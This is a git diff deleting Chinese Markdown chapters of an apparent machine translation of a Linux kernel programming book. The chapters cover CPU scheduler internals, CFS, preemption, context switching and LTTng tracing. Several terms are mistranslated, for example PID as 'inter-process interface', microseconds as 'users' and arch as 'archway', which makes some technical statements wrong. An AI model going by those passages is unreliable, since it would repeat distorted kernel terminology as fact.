-核心调度器代码(`pick_next_task()`)到底是怎么问调度类有没有想运行的线程?我们已经看到了这一点,但是我觉得为了清楚起见,值得重复下面的代码片段(主要从`__schedule()`调用,也从线程迁移代码路径调用): - -```sh -// kernel/sched/core.c -[ ... ] -static inline struct task_struct * -pick_next_task(struct rq *rq, struct task_struct *prev, struct rq_flags *rf) -{ - const struct sched_class *class; - struct task_struct *p; - [ ... ] -for_each_class(class){ - p = class->pick_next_task(rq, NULL, NULL); - if (p) - return p; - } - [ ... ] - -``` - -请注意动作中的对象方向:`class->pick_next_task()`代码实际上是在调用调度类`class`的方法`pick_next_task()`!方便地说,返回值是指向所选任务的任务结构的指针,代码现在上下文切换到该任务结构。 - -当然,上一段暗示有一个`class`结构,体现了我们所说的调度类的真正含义。事实上,情况就是这样:它包含了所有可能的操作,以及在调度类中可能需要的有用的钩子。它(令人惊讶地)被称为`sched_class`结构: - -```sh -// location: kernel/sched/sched.h -[ ... ] -struct sched_class { - const struct sched_class *next; - [...] - void (*enqueue_task) (struct rq *rq, struct task_struct *p, int flags); - void (*dequeue_task) (struct rq *rq, struct task_struct *p, int flags); - [ ... ] - struct task_struct * (*pick_next_task)(struct rq *rq, - struct task_struct *prev, - struct rq_flags *rf); - [ ... ] - void (*task_tick)(struct rq *rq, struct task_struct *p, int queued); - void (*task_fork)(struct task_struct *p); - [ ... ] -}; -``` - -(这个结构的成员比我们在这里展示的要多得多;一定要在代码中查找)。现在应该很明显,每个调度类都实例化了这个结构,适当地用方法(当然是函数指针)填充它。核心调度代码迭代调度类的链表(以及内核中的其他地方),根据需要调用方法和钩子函数,只要不是`NULL`。 - -例如,让我们考虑公平调度类(CFS)如何实现它的调度类: - -```sh -// kernel/sched/fair.c -const struct sched_class fair_sched_class = { - .next = &idle_sched_class, - .enqueue_task = enqueue_task_fair, - .dequeue_task = dequeue_task_fair, - [ ... ] - .pick_next_task = pick_next_task_fair, - [ ... ] - .task_tick = task_tick_fair, - .task_fork = task_fork_fair, - .prio_changed = prio_changed_fair, - [ ... ] -}; -``` - -所以现在你看到了:fair sched 类用来选择下一个要运行的任务的代码(当核心调度程序询问时),就是函数`pick_next_task_fair()`。仅供参考,`task_tick`和`task_fork`成员是调度类钩子的好例子;这些函数将由调度器内核在每个定时器滴答(即每个定时器中断,理论上每秒至少触发–`CONFIG_HZ`次)和属于该调度类的线程分叉时分别调用。 - -An interesting in-depth Linux kernel project, perhaps: create your own scheduling class with its particular methods and hooks, implementing its internal scheduling algorithm(s). Link all the bits and pieces as required (into the scheduling classes-linked list, inserted at the desired priority, and so on) and test! Now you can see why they're called modular scheduling classes. - -太好了——现在你已经理解了现代模块化 CPU 调度器背后的架构,让我们简单地看一下 CFS 背后的算法,CFS 可能是通用 Linux 上最常用的调度类。 - -### 关于 cfs 和运行时值的一个词 - -自 2.6.23 版本以来,CFS 一直是常规线程事实上的内核 CPU 调度代码;大部分线程为`SCHED_OTHER`,由 CFS 驱动。CFS 背后的驱动因素*是公平性和整体吞吐量*。简而言之,在其实现中,内核跟踪每个可运行的 CFS ( `SCHED_OTHER`)线程的实际 CPU 运行时间(以纳秒粒度);运行时间最小的线程是最值得运行的线程,将在下一次调度切换时被授予处理器。相反,不断敲打处理器的线程会积累大量的运行时间,因此会受到惩罚(这真的很有因果报应)! - -没有深入研究太多关于 CFS 实现内部的细节,任务结构中嵌入了另一个数据结构`struct sched_entity`,它包含一个名为`vruntime`的无符号 64 位值。简单来说,这是一个单调计数器,用于跟踪线程在处理器上累积(运行)的时间(以纳秒为单位)。 - -实际上,这里需要大量的代码级调整、检查和平衡。例如,通常,内核会将`vruntime`值重置为`0`,从而触发另一个调度时期。此外,`/proc/sys/kernel/sched_*`下还有各种可调参数,有助于更好地微调中央处理器调度器的行为。 - -CFS 如何选择下一个要运行的任务封装在`kernel/sched/fair.c:pick_next_task_fair()`函数中。理论上,CFS 的工作方式本身就是简单:将所有可运行的任务(对于该 CPU)排队到运行队列中,运行队列是一个 rb 树(一种自平衡二叉查找树),以这种方式,在处理器上花费时间最少的任务是树中最左边的叶节点,右边的后续节点代表下一个要运行的任务,然后是后面的任务。 - -实际上,从左到右扫描树给出了未来任务执行的时间表。这怎么保证?通过使用上述`vruntime`值作为任务入队到 rb-tree 的关键字! - -当内核需要调度时,它会询问 CFS,CFS 类代码——我们已经提到过了,`pick_next_task_fair()`函数——*只需在树*上挑选最左边的叶子节点,将指针返回到嵌入在那里的任务结构;根据定义,它是`vruntime`值最低的任务,实际上是运行最少的任务!(遍历一棵树是一种 *O(log n)* 时间复杂度算法,但由于一些代码优化和最左边叶节点的巧妙缓存,实际上将它渲染成一种非常理想的 *O(1)* 算法!)当然,实际的代码要比这里的代码复杂得多;这需要多方面的制衡。我们不在这里深究血淋淋的细节。 - -We refer those of you that are interested in learning more on CFS to the kernel documentation on the topic, at [https://www.kernel.org/doc/Documentation/scheduler/sched-design-CFS.txt](https://www.kernel.org/doc/%20Documentation/scheduler/sched-design-CFS.txt). - -Also, the kernel contains several tunables under `/proc/sys/kernel/sched_*` that have a direct impact on scheduling. Notes on these and how to use them can be found on the *Tuning the Task Scheduler* page ([https://documentation.suse.com/sles/12-SP4/html/SLES-all/cha-tuning-taskscheduler.html](https://documentation.suse.com/sles/12-SP4/html/SLES-all/cha-tuning-taskscheduler.html)), and an excellent real-world use case can be found in the article at [https://www.scylladb.com/2016/06/10/read-latency-and-scylla-jmx-process/](https://www.scylladb.com/2016/06/10/read-latency-and-scylla-jmx-process/). Now let's move onto learning how to query the scheduling policy and priority of any given thread. - -# 线程–哪个调度策略和优先级 - -在本节中,您将学习如何查询系统上任何给定线程的调度策略和优先级。(但是以编程方式查询和设置相同的内容呢?我们将讨论推迟到下一章*查询和设置线程的调度策略和优先级*部分。) - -我们了解到,在 Linux 上,线程是 KSE;它实际上是在处理器上调度和运行的。此外,Linux 有几种调度策略(或算法)可供选择。该策略以及分配给给定任务(进程或线程)的优先级是基于每个线程分配的,默认始终是具有实时优先级的`SCHED_OTHER`策略`0`。 - -在给定的 Linux 系统上,我们总是可以看到所有进程都是活动的(通过一个简单的`ps -A`),或者,对于 GNU `ps`,甚至每个线程都是活动的(`ps -LA`)。但是,这并没有告诉我们这些任务运行的调度策略和优先级;我们如何查询? - -这很简单:在 shell 中,`chrt(1)`实用程序非常适合查询和设置给定进程的调度策略和/或优先级。使用`-p`选项开关发出`chrt`并提供 PID 作为参数,使其显示调度策略以及所讨论任务的实时优先级;例如,让我们查询`init`流程(或系统)PID `1`: - -```sh -$ chrt -p 1 -pid 1's current scheduling policy: SCHED_OTHER -pid 1's current scheduling priority: 0 -$ -``` - -像往常一样,`chrt(1)`上的`man`页面提供了所有选项开关及其用法;一定要看一眼。 - -在下面的(部分)截图中,我们展示了一个简单的 Bash 脚本(`ch10/query_task_sched.sh`,本质上是`chrt`的包装器)的运行,它查询并显示所有活动线程的调度策略和实时优先级(在它们运行的时候): - -![](img/49aca83c-a29e-44ac-81b6-5a78ddd709c3.png) - -Figure 10.5 – (Partial) screenshot of our ch10/query_task_sched.sh Bash script in action - -需要注意的几件事: - -* 在我们的脚本中,通过使用 GNU `ps(1)`,配合`ps -LA`,我们能够捕获系统上所有活跃的线程;显示它们的 PID 和 TID。正如您在[第 6 章](06.html)、*内核内部要素–进程和线程*中所了解的,进程间接口是内核 TGID 的用户空间等价物,而 TID 是内核进程间接口的用户空间等价物。因此,我们可以得出以下结论: - * 如果 PID 和 TID 匹配,那么它——在那一行看到的线程(第三列有它的名字)——就是进程的主线程。 - * 如果 PID 和 TID 匹配,并且 PID 只出现一次,这是一个单线程进程。 - * 如果我们有相同的 PID 多次(最左边的一列)和不同的 TiD(第二列),这些是进程的子(或工作)线程。我们的脚本通过向右缩进 TID 数字来显示这一点。 -* 请注意,典型的 Linux 盒子上的绝大多数线程(甚至是嵌入式的)都是非实时的(T0 策略)。在典型的桌面、服务器,甚至嵌入式 Linux 上,大部分线程将是`SCHED_OTHER`(默认策略),少数实时线程(FIFO/RR)。**截止日期** ( **DL** )和 **Stop-Sched** ( **SS** )螺纹确实很少见。 -* 请注意以下关于前面输出中显示的实时线程的观察: - * 我们的脚本通过在最右侧显示一个星号来突出显示任何实时线程(一个带有策略:`SCHED_FIFO`或`SCHED_RR`)。 - * 此外,任何实时优先级为 99(最大可能值)的实时线程将在最右侧有三个星号(这些往往是专用的内核线程)。 -* 当`SCHED_RESET_ON_FORK`标志与调度策略进行布尔“或”运算时,具有不允许任何子代(通过`fork(2)`)继承特权调度策略(一种安全措施)的效果。 -* 更改线程的调度策略和/或优先级可以通过`chrt(1)`执行;但是,您应该意识到这是一个需要根权限的敏感操作(或者,现在,首选的机制应该是能力模型,`CAP_SYS_NICE`能力是有问题的能力位)。 - -我们将留给您来检查脚本的代码(`ch10/query_task_sched.sh`)。另外,要注意(小心!)性能和 shell 脚本并没有真正结合在一起(所以在性能方面不要期望太高)。想想看,shell 脚本中发出的每个外部命令(我们这里有几个,比如`awk`、`grep`、`cut`)都涉及到 fork-exec-wait 语义和上下文切换。而且,这些都是在一个循环中执行的。 - -The `tuna(8)` program can be used to both query and set various attributes; this includes process-/thread-level scheduling policy/priority and a CPU affinity mask, as well as IRQ affinity. - -你可能会问,具有`SCHED_FIFO`策略和`99`实时优先级的(少数)线程会一直霸占系统的处理器吗?不,不是真的;现实是这些线程大部分时间都在休眠。当内核确实需要它们执行一些工作时,它会唤醒它们。现在,正是由于他们的实时策略和优先级,几乎可以保证他们将获得一个中央处理器,并执行所需的时间(工作完成后返回睡眠状态)。关键点:当他们需要处理器时,他们会得到它(有点类似于 RTOS,但没有 RTOS 提供的铁定保证和决定论)。 - -`chrt(1)`实用程序到底是如何查询(和设置)实时调度策略/优先级的?啊,这应该是显而易见的:由于它们驻留在内核**虚拟地址空间** ( **VAS** )中的任务结构内,`chrt`进程必须发出系统调用。执行这些任务的系统调用有几种变体:`chrt(1)`使用的是`sched_getattr(2)`查询,`sched_setattr(2)`系统调用是设置调度策略和优先级。(请务必查看`sched(7)`上的`man`页面,了解这些以及更多与调度程序相关的系统调用的详细信息。)快速`chrt`上的`strace(1)`确实会验证这一点! - -```sh -$ strace chrt -p 1 -[ ... ] -sched_getattr(1, {size=48, sched_policy=SCHED_OTHER, sched_flags=0, -sched_nice=0, sched_priority=0, sched_runtime=0, sched_deadline=0, -sched_period=0}, 48, 0) = 0 -fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 6), ...}) = 0 -write(1, "pid 1's current scheduling polic"..., 47) = 47 -write(1, "pid 1's current scheduling prior"..., 39) = 39 -[ ... ] $ -``` - -现在您已经掌握了查询(甚至设置)线程调度策略/优先级的实用知识,是时候深入挖掘一下了。在下一节中,我们将深入研究 Linux 的中央处理器调度器的内部工作原理。我们知道谁在运行调度程序的代码,以及它什么时候运行。好奇?继续读! - -# 了解中央处理器调度内部——第 3 部分 - -在前面几节中,您了解到核心内核调度代码被锚定在`void schedule(void)`函数中,模块化调度器类被迭代,最终得到一个被上下文切换到的线程。这一切都很好;现在的一个关键问题是:`schedule()`代码路径到底是谁在什么时候运行的? - -## 谁运行调度程序代码? - -不幸的是,关于调度如何工作的一个微妙而关键的误解被许多人持有:我们想象某种被称为“调度器”的内核线程(或一些这样的实体)存在,它周期性地运行和调度任务。这完全是错误的;在像 Linux 这样的单片操作系统中,调度是由进程上下文本身来执行的,也就是运行在 CPU 上的常规线程! - -事实上,调度代码总是由当前正在执行内核代码的进程上下文运行,换句话说,就是由 **`current`运行。** - -这可能也是一个适当的时间来提醒你我们将称之为 Linux 内核的*黄金规则之一*:*调度代码绝不能在任何种类的原子或中断上下文中运行*。换句话说,中断上下文代码必须保证不阻塞;这就是为什么您不能在中断上下文中使用`GFP_KERNEL`标志调用`kmalloc()`,它可能会阻塞!但是有了`GFP_ATOMIC`标志,就可以指示内核内存管理代码永远不要阻塞。此外,当调度代码运行时,内核抢占被禁用;这是有道理的。 - -## 调度程序什么时候运行? - -操作系统调度器的工作是仲裁对处理器资源的访问,在想要使用它的竞争实体(线程)之间共享它。但是,如果系统很忙,许多线程不断争夺和获取处理器,该怎么办呢?更正确地说,我们真正的意思是:为了确保任务之间公平地共享 CPU 资源,您必须确保图片中的警察,即调度程序本身,定期在处理器上运行。听起来不错,但是你到底怎么保证呢? - -这里有一个(看似)合乎逻辑的方法:当定时器中断触发时调用调度程序;也就是说,它有机会每秒运行`CONFIG_HZ`次(通常设置为值 250)!等等,我们在[第 8 章](08.html)、*模块作者的内核内存分配–第 1 部分*中,在*从不在中断或原子上下文中休眠*部分学到了一个黄金法则:您不能在任何种类的原子或中断上下文中调用调度程序;因此在定时器中断代码路径内调用它肯定是不合格的。那么,操作系统是做什么的? - -它的实际实现方式是定时器中断上下文和进程上下文代码路径都被用来进行调度。我们将在下一节简要描述细节。 - -### 定时器中断部分 - -在定时器中断内(在`kernel/sched/core.c:scheduler_tick()`的代码中,中断被禁用),内核执行必要的元工作以保持调度平稳运行;这包括根据需要不断更新每个 CPU 的运行队列、负载平衡工作等等。请注意,实际的`schedule()`功能是*这里没有调用*。最多调用调度类钩子函数(对于被中断的进程上下文`current`),`sched_class:task_tick()`,如果不为空。例如,对于属于 fair (CFS)类的任何线程来说,`vruntime`成员的更新(虚拟运行时,任务在处理器上花费的(优先级偏向的)时间)在`task_tick_fair()`中完成。 - -More technically, all this work described in the preceding paragraph occurs within the timer interrupt soft IRQ, `TIMER_SOFTIRQ`. - -现在,一个关键点,是调度代码决定了:我们需要抢占`current`吗?在这个定时器中断代码路径中,如果内核检测到当前任务已经超过了它的时间量,或者由于任何原因必须被抢占(也许现在在运行队列上有另一个优先级比它更高的可运行线程),代码就设置一个名为`need_resched`的“全局”标志。(我们将全局这个词放在引号中的原因是,它实际上不是内核范围的全局;它实际上只是位于名为`TIF_NEED_RESCHED`的`current`实例的`thread_info->flags`位掩码内。为什么呢?这样访问位实际上更快!)值得强调的是,在典型(可能)情况下,不需要抢占`current`,因此`thread_info.flags:TIF_NEED_RESCHED`位将保持清零。如果设置,调度程序将很快激活;但是具体是什么时候?一定要读下去... - -### 流程上下文部分 - -一旦刚刚描述的调度内务工作的定时器中断部分完成(当然,这些事情确实完成得非常快),控制就被交还给被粗暴中断的进程上下文(线程,`current`)。它现在将运行我们认为的中断退出路径。这里,它检查`TIF_NEED_RESCHED`位是否被置位-`need_resched()`助手例程执行该任务。如果返回`True`,这表明需要立即进行重新调度:内核调用`schedule()`!在这里,这样做很好,因为我们现在是在流程上下文中运行。(请始终记住:我们在这里讨论的所有代码都是由`current`运行的,这是有问题的流程上下文。) - -当然,现在关键的问题变成了将识别`TIF_NEED_RESCHED`位是否已经被置位(通过前面描述的定时器中断部分)的代码到底在哪里?啊,这就成了问题的关键:内核安排了几个**调度机会点**出现在内核代码库中。两个调度机会点如下: - -* 从系统调用代码路径返回。 -* 从中断代码路径返回。 - -所以,想想看:每次用户空间中运行的任何线程发出系统调用时,该线程都会(上下文)切换到内核模式,现在在内核中运行代码,并拥有内核权限。当然,系统调用的长度是有限的;完成后,他们将遵循一个众所周知的返回路径,以便切换回用户模式并在那里继续执行。在该返回路径上,引入了调度机会点:检查其`thread_info`结构内的`TIF_NEED_RESCHED`位是否被设置。如果是,调度程序被激活。 - -仅供参考,这样做的代码是依赖于 arch 的;在 x86 上是这样的:`arch/x86/entry/common.c:exit_to_usermode_loop()`。其中,与我们相关的部分如下: - -```sh -static void exit_to_usermode_loop(struct pt_regs *regs, u32 cached_flags) -{ -[...] - if (cached_flags & _TIF_NEED_RESCHED) - schedule(); -``` - -类似地,在处理一个(任何)硬件中断(以及需要运行的任何相关的软 IRQ 处理程序)之后,在切换回内核中的进程上下文(内核中的一个工件–`irq_exit()`)之后,但是在将上下文恢复到被中断的任务之前,内核检查`TIF_NEED_RESCHED`位:如果它被设置,则调用`schedule()`。 - -让我们总结一下前面关于`TIF_NEED_RESCHED`位的设置和识别的讨论: - -* 定时器中断(软 IRQ)在以下情况下设置`thread_info:flags TIF_NEED_RESCHED`位: - * 如果调度类的`scheduler_tick()`钩子函数内的逻辑需要抢占;例如,在 CFS 上,如果当前任务的`vruntime`值超出另一个可运行线程的值一个给定的阈值(通常为 2.25 ms 相关可调是`/proc/sys/kernel/sched_min_granularity_ns`)。 - * 如果较高优先级的线程变得可运行(在同一个中央处理器上,因此运行队列;通过`try_to_wake_up()`)。 -* 在进程上下文中,这是发生的情况:在中断返回和系统调用返回路径上,检查`TIF_NEED_RESCHED`的值: - * 如果设置了(`1`),则调用`schedule()`;否则,继续处理。 - -As an aside, these scheduling opportunity points – the return from a hardware interrupt or a system call – also serve as signal recognition points. If a signal is pending on `current`, it is serviced before restoring context or returning to user space. - -### 可抢占内核 - -让我们假设一个情况:你运行在一个只有一个中央处理器的系统上。一个模拟时钟应用正在图形用户界面上运行,还有一个 C 程序`a.out`,它的一行代码是(呻吟)`while(1);`。那么,你认为:当 1 进程无限期占用 CPU,从而导致 GUI 时钟应用停止滴答(它的秒针会完全停止移动)时,CPU 占用者*会怎么样?* - -一点点思考(和实验)就会发现,事实上,尽管有调皮的 CPU 霍格应用,图形用户界面时钟应用还是一直在滴答作响!实际上,这就是拥有操作系统级调度器的全部意义:它可以并且确实抢占占用 CPU 空间的用户空间进程。(我们之前简单讨论过 CFS 算法;CFS 将导致激进的 CPU 霍格进程累积一个巨大的`vruntime`值,从而在其 rb 树运行队列上向右移动更多,从而惩罚自己!)所有现代操作系统都支持这种类型的抢占——它被称为**用户模式抢占**。 - -但是现在,考虑一下这个问题:如果您编写一个内核模块,在单处理器系统上执行相同的`while(1)`无限循环,会怎么样?这可能是一个问题:系统现在将简单地挂起。操作系统将如何抢占自己(正如我们所理解的内核模块以内核特权在内核模式下运行)?好吧,你猜怎么着:多年来,Linux 提供了一个构建时配置选项来使内核可抢占,`CONFIG_PREEMPT`。(实际上,这仅仅是朝着减少延迟和改进内核和调度程序响应的长期目标发展。这项工作的很大一部分来自早期和一些正在进行的工作:低延迟的 T4 补丁、旧的 RTLinux 工作等等。我们将在下一章中详细介绍实时(RTOS) Linux - RTL。)一旦这个`CONFIG_PREEMPT`内核配置选项被打开,内核被构建并启动,我们现在运行在一个可抢占的内核上——操作系统有能力抢占自己。 - -To check out this option, within `make menuconfig`, navigate to General Setup | Preemption Model. - -就抢占而言,基本上有三个可用的内核配置选项: - -| **抢占型** | **特征** | **适用于** | -| `CONFIG_PREEMPT_NONE` | 传统模式,面向高整体吞吐量。 | 服务器/企业级和计算密集型系统 | -| `CONFIG_PREEMPT_VOLUNTARY` | 可抢占内核(桌面);操作系统内更明确的抢占机会点;带来更低的延迟、更好的应用响应。通常是发行版的默认值。 | 工作站/台式机、为台式机运行 Linux 的笔记本电脑 | -| `CONFIG_PREEMPT` | LowLat 内核;(几乎)整个内核都是可抢占的;意味着现在甚至可以不自觉地抢占内核代码路径;以稍低的吞吐量和稍高的运行时开销为代价,产生更低的延迟(平均从几十个用户到几百个用户不等)。 | 快速多媒体系统(台式机、笔记本电脑,甚至现代嵌入式产品:智能手机、平板电脑等) | - -`kernel/Kconfig.preempt` kbuild 配置文件包含可抢占内核选项的相关菜单项。(正如您将在下一章中看到的,当将 Linux 构建为 RTOS 时,出现了内核抢占的第四种选择。) - -### 中央处理器调度程序入口点 - -核心内核调度函数`kernel/sched/core.c:__schedule()`中(就在之前)出现的详细注释非常值得通读;它们指定了内核 CPU 调度程序的所有可能入口点。我们只是在这里直接从 5.4 内核代码库中复制了它们,所以一定要看看。请记住:以下代码是由进程(实际上是线程)在进程上下文中运行的,该进程最终将上下文切换到其他线程,从而将自己从 CPU 中踢出!这条线是谁的?为什么,当然是`current`! - -`__schedule()`函数有两个局部变量,指向名为`prev`和`next`的结构`task_struct`。名为`prev`的指针设置为`rq->curr`,无非就是`current`!名为`next`的指针将被设置为将被上下文切换到的任务,接下来将运行该任务!所以,你看:`current`运行调度程序代码,执行工作,然后通过上下文切换到`next`将自己踢出处理器!以下是我们提到的大评论: - -```sh -// kernel/sched/core.c/* - * __schedule() is the main scheduler function. - * The main means of driving the scheduler and thus entering this function are: - * 1\. Explicit blocking: mutex, semaphore, waitqueue, etc. - * - * 2\. TIF_NEED_RESCHED flag is checked on interrupt and user space return - * paths. For example, see arch/x86/entry_64.S. - * - * To drive preemption between tasks, the scheduler sets the flag in timer - * interrupt handler scheduler_tick(). - * - * 3\. Wakeups don't really cause entry into schedule(). They add a - * task to the run-queue and that's it. - * - * Now, if the new task added to the run-queue preempts the current - * task, then the wakeup sets TIF_NEED_RESCHED and schedule() gets - * called on the nearest possible occasion: - * - If the kernel is preemptible (CONFIG_PREEMPTION=y): - * - * - in syscall or exception context, at the next outmost - * preempt_enable(). (this might be as soon as the wake_up()'s - * spin_unlock()!) - * - * - in IRQ context, return from interrupt-handler to - * preemptible context - * - * - If the kernel is not preemptible (CONFIG_PREEMPTION is not set) - * then at the next: - * - cond_resched() call - * - explicit schedule() call - * - return from syscall or exception to user-space - * - return from interrupt-handler to user-space - * WARNING: must be called with preemption disabled! - */ -``` - -前面的代码是一个很大的注释,详细说明了如何调用内核中央处理器内核调度代码–`__schedule()`。`__schedule()`本身的相关小片段可以在下面的代码中看到,重申了我们一直在讨论的观点: - -```sh -static void __sched notrace __schedule(bool preempt) -{ - struct task_struct *prev, *next; - [...] struct rq *rq; - int cpu; - - cpu = smp_processor_id(); - rq = cpu_rq(cpu); - prev = rq->curr; *<< this is 'current' ! >>* - - [ ... ] - - next = pick_next_task(rq, prev, &rf); *<< here we 'pick' the task to run next in an 'object- - oriented' manner, as discussed earlier in detail ... >>* - clear_tsk_need_resched(prev); - clear_preempt_need_resched(); - - if (likely(prev != next)) { - [ ... ] - /* Also unlocks the rq: */ - rq = context_switch(rq, prev, next, &rf); - [ ... ] -} -``` - -接下来简单介绍一下实际的上下文切换。 - -#### 上下文切换 - -为了结束这一讨论,先简单介绍一下(scheduler)上下文切换。上下文切换的工作(在 CPU 调度器的上下文中)相当明显:在简单地切换到下一个任务之前,OS 必须保存前一个,也就是当前正在执行的任务的状态;换句话说,`current`的状态。您会从[第 6 章](06.html)、*内核内部本质–进程和线程*中回想起,任务结构保存一个内联结构来存储/检索线程的硬件上下文;它是成员`struct thread_struct thread`(在 x86 上,它总是任务结构的最后一个成员)。在 Linux 中,一个内联函数`kernel/sched/core.c:context_switch()`执行任务,从`prev`任务(即从`current`切换到`next`任务,这一轮调度或抢占的赢家。这种切换基本上分两个(特定于拱门的)阶段进行: - -* **内存(MM)开关**:切换一个特定于 arch 的 CPU 寄存器,指向`next`的内存描述符结构(`struct mm_struct`)。在 x86[_64]上,这个寄存器叫做`CR3` ( **控制寄存器 3**);在 ARM 上,它被称为`TTBR0` ( **翻译表基础寄存器`0`** )寄存器。 -* **实际 CPU 切换**:保存`prev`的栈和 CPU 寄存器状态,将`next`的栈和 CPU 寄存器状态恢复到处理器上,从`prev`切换到`next`;这是在`switch_to()`宏观内完成的。 - -上下文切换的详细实现不是我们将在这里讨论的内容;查看*进一步阅读*部分获取更多资源。 - -# 摘要 - -在本章中,您了解了通用 Linux 内核的 CPU 调度程序的几个方面。首先,您看到了实际的 KSE 是一个线程,而不是一个进程,然后了解了操作系统实现的可用调度策略。接下来,您了解到,为了以超级可扩展的方式支持多个 CPU,内核通过每个调度类每个 CPU 内核使用一个运行队列的设计有力地反映了这一点。然后介绍了如何查询任何给定线程的调度策略和优先级,以及关于 CPU 调度器内部实现的更深入的细节。我们重点讨论了现代调度器如何利用模块化调度类设计,谁确切地运行实际的调度器代码以及何时运行,最后简要说明了上下文切换。 - -下一章将让您继续这一旅程,获得更多关于内核级 CPU 调度器工作原理的见解和细节。我建议你先完全消化这一章的内容,研究给出的问题,然后进入下一章。干得好! - -# 问题 - -作为我们的总结,这里有一个问题列表,供您测试您对本章材料的知识:[https://github . com/packt publishing/Linux-Kernel-Programming/tree/master/questions](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/questions)。你会在这本书的 GitHub repo 中找到一些问题的答案:[https://GitHub . com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions _ to _ assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions_to_assgn)。 - -# 进一步阅读 - -为了帮助您用有用的材料更深入地研究这个主题,我们在本书的 GitHub 存储库中的进一步阅读文档中提供了一个相当详细的在线参考资料和链接列表(有时甚至是书籍)。*进一步阅读*文档可在此处获得:[https://github . com/packt publishing/Linux-Kernel-Programming/blob/master/进一步阅读. md](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/Further_Reading.md) 。 \ No newline at end of file diff --git a/docs/linux-kernel-prog/11.md b/docs/linux-kernel-prog/11.md deleted file mode 100644 index 4a76e326..00000000 --- a/docs/linux-kernel-prog/11.md +++ /dev/null @@ -1,1066 +0,0 @@ -# 十一、CPU 调度器——第二部分 - -这是我们关于 Linux 内核 CPU 调度器的第二章,我们继续上一章的内容。在前一章中,我们讨论了几个关于 Linux 操作系统上 CPU 调度器的工作(和可视化)的关键领域。这包括关于 Linux 上的 KSE 到底是什么,Linux 实现的 POSIX 调度策略,使用`perf`查看调度程序流,以及现代调度程序的设计是如何基于模块化调度类的主题。我们还介绍了如何查询任何线程的调度策略和优先级(使用几个命令行实用程序),并深入研究了操作系统调度器的内部工作方式。 - -有了这个背景,我们现在准备在 Linux 上探索更多的 CPU 调度程序;在本章中,我们将涉及以下领域: - -* 用 LTTng 和`trace-cmd`可视化流程 -* 理解、查询和设置 CPU 相似性掩码 -* 查询和设置线程的调度策略和优先级 -* 用计算机组控制中央处理器带宽 -* 将主线 Linux 转换成 RTOS -* 潜伏期及其测量 - -我们希望你在阅读这一章之前,已经阅读了(或者有相当的知识)前一章。 - -# 技术要求 - -我假设您已经完成了[第 1 章](01.html)、*内核工作区设置*,并适当准备了一个运行 Ubuntu 18.04 LTS(或更高版本的稳定版本)的来宾**虚拟机** ( **VM** )并安装了所有需要的软件包。如果没有,我强烈建议你先做这个。 - -为了最大限度地利用这本书,我强烈建议您首先设置工作空间环境,包括克隆这本书的 GitHub 代码存储库,并以动手的方式进行处理。知识库可以在这里找到:[https://github.com/PacktPublishing/Linux-Kernel-Programming](https://github.com/PacktPublishing/Linux-Kernel-Programming)。 - -# 用 LTTng 和 trace-cmd 可视化流动 - -在上一章中,我们看到了如何使用`perf`(以及一些替代方案)可视化处理器上的线程流。现在,我们继续使用更强大、更直观的分析工具:LTTng(和 Trace Compass GUI)和`trace-cmd`(一个 Ftrace 前端和 KernelShark GUI)。 - -请注意,这里的目的只是向您介绍这些强大的跟踪技术;我们没有充分公正对待这些议题所需的范围和空间。 - -## 使用 LTTng 和跟踪罗盘进行可视化 - -**Linux 跟踪工具包下一代** ( **LTTng** )是一套开源工具,使您能够同时跟踪用户和内核空间。有点讽刺的是,跟踪内核很容易,而跟踪用户空间(应用、库甚至脚本)需要开发人员手动将工具(所谓的跟踪点)插入到应用中(内核的跟踪点工具由 LTTng 作为内核模块提供)。高质量的 LTTng 文档可在此在线获得:[https://lttng.org/docs/v2.12/](https://lttng.org/docs/v2.12/)(在撰写本文时涵盖 2.12 版本)。 - -我们这里不包括 LTTng 的安装;详情见[https://lttng.org/docs/v2.12/#doc-installing-lttng](https://lttng.org/docs/v2.12/#doc-installing-lttng)。一旦安装(它有点重——在我的原生 x86_64 Ubuntu 系统上,有超过 40 个内核模块加载到 LTTng 中!),使用 LTTng -对于系统范围的内核会话,就像我们在这里做的那样-很容易,并且分两个不同的阶段执行:记录,然后是数据分析;下面是这些步骤。(由于本书侧重于内核开发,因此我们不涉及使用 LTTng 来跟踪用户空间应用。) - -### 用 LTTng 记录内核跟踪会话 - -您可以记录一个系统范围的内核跟踪会话,如下所示(在这里,我们有意让讨论尽可能简单): - -1. 新建一个会话,将输出目录设置为``保存追踪元数据: - -```sh -sudo lttng create --output= -``` - -2. 只需启用所有内核事件(可能会导致生成大量跟踪元数据): - -```sh -sudo lttng enable-event --kernel --all - -``` - -3. 开始录制“内核会话”: - -```sh -sudo lttng start -``` - -留出一些时间(跟踪的时间越长,跟踪元数据使用的磁盘空间就越多)。在此期间,所有内核活动都由 LTTng 记录。 - -4. 停止录制: - -```sh -sudo lttng stop -``` - -5. 销毁会话;别担心,这不会删除跟踪元数据: - -```sh -sudo lttng destroy -``` - -所有上述命令都应该以管理员权限(或同等权限)运行。 - -I have a few wrapper scripts to perform tracing with (LTTng, Ftrace, `trace-cmd`) at [https://github.com/kaiwan/L5_debug_trg/tree/master/kernel_debug/tracing](https://github.com/kaiwan/L5_debug_trg/tree/master/kernel_debug/tracing); do check them out. - -跟踪元数据文件(采用**通用跟踪格式** ( **CTF** )文件格式)保存到前面指定的输出目录。 - -### 使用图形用户界面报告-跟踪罗盘 - -数据分析可以通过两种广泛的方式进行——使用基于命令行界面的系统,通常与称为`babeltrace`的 LTTng 一起打包,或者通过称为**跟踪罗盘**的复杂图形用户界面。图形用户界面更有吸引力;我们在这里只展示它的基本用法。 - -Trace Compass 是一个强大的跨平台 GUI 应用,与 Eclipse 集成良好。事实上,我们直接引用了日食轨迹指南针网站([https://projects.eclipse.org/projects/tools.tracecompass](https://projects.eclipse.org/projects/tools.tracecompass)): - -” *Eclipse Trace Compass 是一个开源应用,通过读取和分析系统的日志或踪迹来解决性能和可靠性问题。它的目标是提供视图、图形、度量等,以帮助从跟踪中提取有用的信息,这种方式比巨大的文本转储更加用户友好和信息丰富。*” - -可以从这里下载(安装):[https://www.eclipse.org/tracecompass/](https://www.eclipse.org/tracecompass/)。 - -Trace Compass minimally requires a **Java Runtime Environment** (**JRE**) to be installed as well. I installed one on my Ubuntu 20.04 LTS system with `sudo apt install openjdk-14-jre`. - 